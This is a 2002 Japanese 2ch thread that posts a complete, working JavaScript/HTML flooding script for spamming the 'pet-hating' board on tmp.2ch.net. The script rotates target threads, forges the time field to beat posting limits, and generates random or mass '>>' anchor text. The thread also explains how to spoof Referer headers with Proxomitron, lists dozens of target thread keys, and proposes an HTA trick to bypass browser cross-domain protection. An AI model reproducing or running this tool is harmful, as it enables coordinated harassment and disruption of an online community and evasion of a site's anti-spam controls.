そろそろペット大嫌い板再攻撃の時期です。

このエントリーをはてなブックマークに追加
75あぼーん
ペット大嫌い板荒らしスクリプト2
------------------------------ここから post3.html ---------------------------------------------------------
<HTML>
<frameset rows="220,100,*">
<frame src="post3_1.html" name="cont" application="yes">
<frame name="msgmod">
<frame src="post3_2.html" name="form">
</frameset>
</HTML>
------------------------------ここから post3_1.html -------------------------------------------------------
<HTML>
<BODY onLoad="init()">

<script language="JavaScript">
<!------

var keys;
var keyi;
var postcount;
var postcount2;
var loopcount;
var starttime;
var time;

function init(){
  document.forms[0].keys.value="1009171579\n988369627\n993465322\n1011283637\n993797789\n1008952490\n1003741528\n1001910900\n1009544356";
  loadmsgmod();
}
function loadmsgmod(){
  parent.msgmod.location=document.forms[0].msgmod.value;  //メッセージ生成HTMLを読み込む
}

function main(){
  keys=document.forms[0].keys.value.split("\n");  //フォームからスレkeyを得る

//変数の初期化
  keyi=0;
  postcount=0;
  postcount2=0;
  threadcnt=0;
  loopcount=0;

  starttime=new Date;  //開始ボタンが押された時間

  countdown();
}
function countdown(){  //カウントダウンを表示
  var now=new Date;  //現在時間を得る
  var elapsed;

  elapsed = (now-starttime)/1000;
  if (elapsed > document.forms[0].timer.value){  //経過時間をチェック
    jmp();
    return;
  }
  document.forms[0].status.value="攻撃開始まで"+Math.floor(document.forms[0].timer.value-elapsed)+"[sec]";  //フォームに表示

  stopper=setTimeout ("countdown()",100);
}
76あぼーん:02/02/03 10:50 ID:???
function jmp(){
  var now=new Date;  //現在時間を得る
  if (now/1000 - (starttime/1000 + parseInt(document.forms[0].timer.value)) > parseInt(document.forms[0].atime.value) && parseInt(document.forms[0].atime.value) !=0)  //攻撃時間で指定された時間攻撃したら終了
    return;

  parent.form.location="post3_2.html";  //下のフレームを投稿用ページにする
  stopper=setTimeout("post()",1000);    //ここで少し待たないと次の処理で下フレームのフォームに書き込めないエラーになる
}
function post(){
//メッセージ生成モジュール呼び出し
  str=parent.msgmod.MakeMessage();
//下フレームのフォームに値を転送
  parent.form.document.forms[0].bbs.value = document.forms[0].bbs.value;
  parent.form.document.forms[0].key.value = keys[keyi];
  parent.form.document.forms[0].FROM.value = document.forms[0].FROM.value;
  parent.form.document.forms[0].mail.value = document.forms[0].mail.value;
  parent.form.document.forms[0].MESSAGE.value = str;

  if (!document.forms[0].consttime.checked || postcount==0){  //同一スレッド内でtimeを固定するかしないか
    var now=new Date;      //現在時間を得る
    var old=new Date(2002,0,30);  //2002/01/30の日付オブジェクトを生成
    time=parseInt(document.forms[0].time.value) + Math.floor((now-old)/1000);  //timeを計算
  }
  parent.form.document.forms[0].time.value = time;

  parent.form.document.forms[0].submit.click();  //下フレームの投稿ボタンを押す

  loopcount++;    //post回数を累計
  document.forms[0].status.value=loopcount+"回postしました。"+"  Thread:"+keys[keyi]+" time:"+time;  //Statusを表示

  postwait=5000;  //post間隔

  postcount++;  //1スレ連続投稿数をカウント
  postcount2++;  //連続投稿総数をカウント
  if (postcount==document.forms[0].posts.value){  //1スレ連続投稿数になったら
    postcount=0;
    keyi++;          //次のスレに移る
  }
  if (postcount2 == document.forms[0].posts2.value){  //連続投稿総数になったら
    postcount2=0;
    postwait = document.forms[0].wait.value * 1000;  //連続投稿規制時間で指定された秒数待つ
  }

  if (keyi==keys.length || keys[keyi].length<5)  //スレkeyのリストで改行などがあったら最初のスレに戻る
    keyi=0;

  stopper=setTimeout("jmp()",postwait);  //jmp()とループを形成
}

function stop(){  //攻撃停止ボタンで終了
  clearTimeout(stopper);
}

function makemsg(){
  parent.form.document.forms[0].MESSAGE.value = parent.msgmod.MakeMessage();  //下のフォームに文字列を書き込む
}
//------>
</script>
77あぼーん:02/02/03 10:55 ID:???

<FORM>
荒らしたいスレのkey(改行で区切る)<BR>
<TEXTAREA name=keys rows=5 wrap=off cols=20 value=aff></TEXTAREA>2002/01/30 00:00:00のtime:<INPUT size=15 name=time value=1012316401>同一スレッド内でtimeを固定:<INPUT type="checkbox" name=consttime><BR>
攻撃開始待ち時間[sec]:<INPUT size=6 name=timer value=0>攻撃時間(0で無限):<INPUT size=6 name=atime value=0><BR>
板名:<INPUT size=15 name=bbs value="cat">1スレ連続投稿数:<INPUT size=4 name=posts value=1> 連続投稿総数:<INPUT size=4 name=posts2 value=9>連続投稿規制時間[sec]:<INPUT size=6 name=wait value=2000><BR>
名前:<INPUT size=19 name=FROM value="あぼーん"> E-mail:<INPUT size=19 name=mail value="sage">
メッセージ生成HTML:<INPUT name=msgmod value="anchortag.html"><INPUT type="button" value="Load" onClick="loadmsgmod()"><INPUT type="button" value="手動生成" onClick="makemsg()"><BR>
<INPUT type="button" value="攻撃開始" onClick="main()"><INPUT type="button" value="攻撃停止" onClick="stop()">
Status:<INPUT size=100 name=status>
</FORM>

</BODY>
</HTML>
----------------------------------------ここから post3_2.html --------------------------------------------
<HTML>
<BODY>
このフレームには書き込む必要はありません。<BR>
<SCRIPT defer type=text/javascript><!--
function l(e){
  var N=g("NAME"),M=g("MAIL"),i;
  with(document)
    for(i=0;i<forms.length;i++)
      if(forms[i].FROM&&forms[i].mail)

  with(forms[i]){
    FROM.value=N;mail.value=M;
  }
}

onload=l;

function g(key,tmp1,tmp2,xx1,xx2,xx3,len){
  tmp1=" "+document.cookie+";";
  xx1=xx2=0;
  len=tmp1.length;

  while(xx1<len){
    xx2=tmp1.indexOf(";",xx1);
    tmp2=tmp1.substring(xx1+1,xx2);
    xx3=tmp2.indexOf("=");

    if(tmp2.substring(0,xx3)==key)
      return unescape(tmp2.substring(xx3+1,xx2-xx1-1));

    xx1=xx2+1;
  }
return "";
}
//--></SCRIPT>

<FORM action=http://tmp.2ch.net/test/bbs.cgi method=post>
  <INPUT type=submit value=書き込む name=submit>
     名前: <INPUT size=19 name=FROM>
     E-mail<FONT size=1> (省略可) </FONT>: <INPUT size=19 name=mail><BR>

    <TEXTAREA name=MESSAGE rows=5 wrap=off cols=70></TEXTAREA><BR>
      bbs<INPUT name=bbs>
      key<INPUT name=key>
      time<INPUT name=time>
78あぼーん:02/02/03 10:56 ID:???
</FORM>

</BODY>
</HTML>
--------------------------------------------random.html-------------------------------------------------------------
<HTML>
<BODY>
ランダム文字列を生成<BR>
<script language="JavaScript">
<!------

function MakeMessage(){
//文字列を生成
  var str = "";
  for (var l=0; l < document.forms[0].lines.value; l++){
    for (var r=0;r < document.forms[0].rows.value;r++){
      str+= unescape(String.fromCharCode(Math.random()*0x5e+0x21));
    }
    if (l != document.forms[0].lines.value-1)
      str+="\n"
  }
  return str;
}

//------>
</script>

<FORM>
行数:<INPUT name=lines value=19>桁数:<INPUT name=rows value=186>
</FORM>

</BODY>
</HTML>
--------------------------------------------anchortag.html-------------------------------------------------------------
<HTML>
<BODY>
>>文字列を生成
<script language="JavaScript">
<!------

function MakeMessage(){  //文字列を生成
  var str = "";
  for (var l=0; l < document.forms[0].lines.value; l++){
    for (var r=0;r < document.forms[0].rows.value;r++){
      rnd=Math.floor(Math.random()*100);  //>>か文字かを決定
      if (rnd < document.forms[0].tagprob.value){
        res=Math.floor(Math.random() * document.forms[0].resrange.value) + parseInt(document.forms[0].resmin1.value);  //レス番号を生成
        str+= ">>" + res;
        for (var figure=0,rndb=res; rndb>=1; figure++)  //レス番号の桁数を数える
          rndb/=10;
        r+=78+figure;    //>>はdat上で約78byteになる
      }
79あぼーん:02/02/03 10:58 ID:???
      else{
        chr=Math.floor(Math.random()*(0x0f+0x45));  //数字以外の文字列を生成
        if (chr<0x0f)
          chr+=0x21;
        else
          chr+=0x2b;
        str+=unescape(String.fromCharCode(chr));
        r++;
      }
    }
    if (l != document.forms[0].lines.value-1)
      str+="\n"
  }
  return str;
}

//------>
</script>

<FORM>
行数:<INPUT name=lines value=5>1行当たりデータ量:<INPUT name=rows value=1200><BR>
>>率[%]:<INPUT name=tagprob value=50>レス番範囲:<INPUT name=resrange value=100>最低レス番:<INPUT name=resmin1 value=1>
</FORM>

</BODY>
</HTML>
--------------------------------------------EOF-------------------------------------------------------------
 2ch用自動投稿スクリプトです。これはローカルから投稿するので、refererを偽装する必要があり、まず
Proxomitron(http://proxomitron.org/)をダウンロードして起動し、"Edit Filters"の"Headers"の、
Referer: Hide where we've been (Out)の左のOutチェックボックスを有効にし、EditしてURL
Matchを*,Header Value Matchを空欄に、Replacement textを\uにします。次にブラウザのプロクシを、
"127.0.0.1:8080"に設定すればProxomitronの偽装フィルタリングがかかります。ただ文字列を生成して
手動でコピペするのならReferer偽装はいりません。手動生成ボタンを押すだけです。
 そして、上のhtmlをメモ帳にコピペしてそれぞれ----内に書いてあるファイル名で保存し、荒らしたいスレの
key欄にスレッドのURLのhttp://tmp.2ch.net/test/read.cgi/cat/**********/ の**********の部分を貼り
付けます。複数のスレを指定するときは改行で区切ります。また、フォームのtimeの値を計算して投稿するので、
同じスレに連続投稿ができます。攻撃開始待ち時間は攻撃開始をクリックしてから実際に書き込みが開始される
までの時間で、攻撃時間は書き込みを始めてから終わるまでの時間です。1スレ連続投稿数は1つのスレッドに連続
して書き込む回数で、他のスレも含めて連続投稿総数の数だけ投稿したら連続投稿規制時間の秒数だけ待ちます。
 メッセージを生成する部分をモジュール化しました。メッセージ生成HTML欄に、random.htmlやanchortag.html
と入れて、Loadを押してください。真ん中のフレームにメッセージ生成HTMLが読み込まれます。
 下のフレームのフォームは特にいじらなくてもよいです。
 厨房板やペット大嫌い板では、>>付きの番号がdat上で約80byteになります。anchortag.htmlではこれを計算して
います。
 メッセージ生成HTMLにはMakeMessageが入っていて、これは上のフレームから呼び出されて、文字列を生成し、
生成した文字列を返す仕様です。いろいろ作ってみてもよいでしょう。

これがペット大嫌い板の凶悪なスレのkeyです。
1009171579
988369627
993465322
1011283637
993797789
1008952490
1003741528
1001910900
1009544356
1009312739
987511060
80あぼーん:02/02/03 10:59 ID:???
1002553564
1005176736
996497513
997237985
1008523626
1001662000
997854692
1000874226
990152767
1001671675
997833725
995371681
1011124743
1008895478
994501864
996868082
1008465919
1007111604
994596389
1001607201
998371802
985872796
995035279
994015773
995123059
995075992
986660135
998139907
1011186587
995015847
991230973
994842059
1008494729
998801116
994293933
995127113
993907424
995030209
1010658886
1009339229
1010738811
1012101206
997188236
992358437
995039249
995897752
1012438789
1012482101
1012117582
1012495704
1012630312
1012687338

 別フレームを2chのスレのURLに移動させ、そこのフォームに制御用フレームからフォームに自動記入して書き込む
ボタンを押すようにすると、ブラウザのセキュリティで別ドメインのフレームのフォームにアクセスできませんが、
トップのフレーム記述HTMLの拡張子をhtaにすると、HTML Applicationとして別ドメインのページもいじれることが
分かりました。そこで、次はreferer偽装が必要なく、書き込み成功を確認するタイプを作ってみようと思います。

UPするのが大変だ...
81あぼーん:02/02/03 11:10 ID:???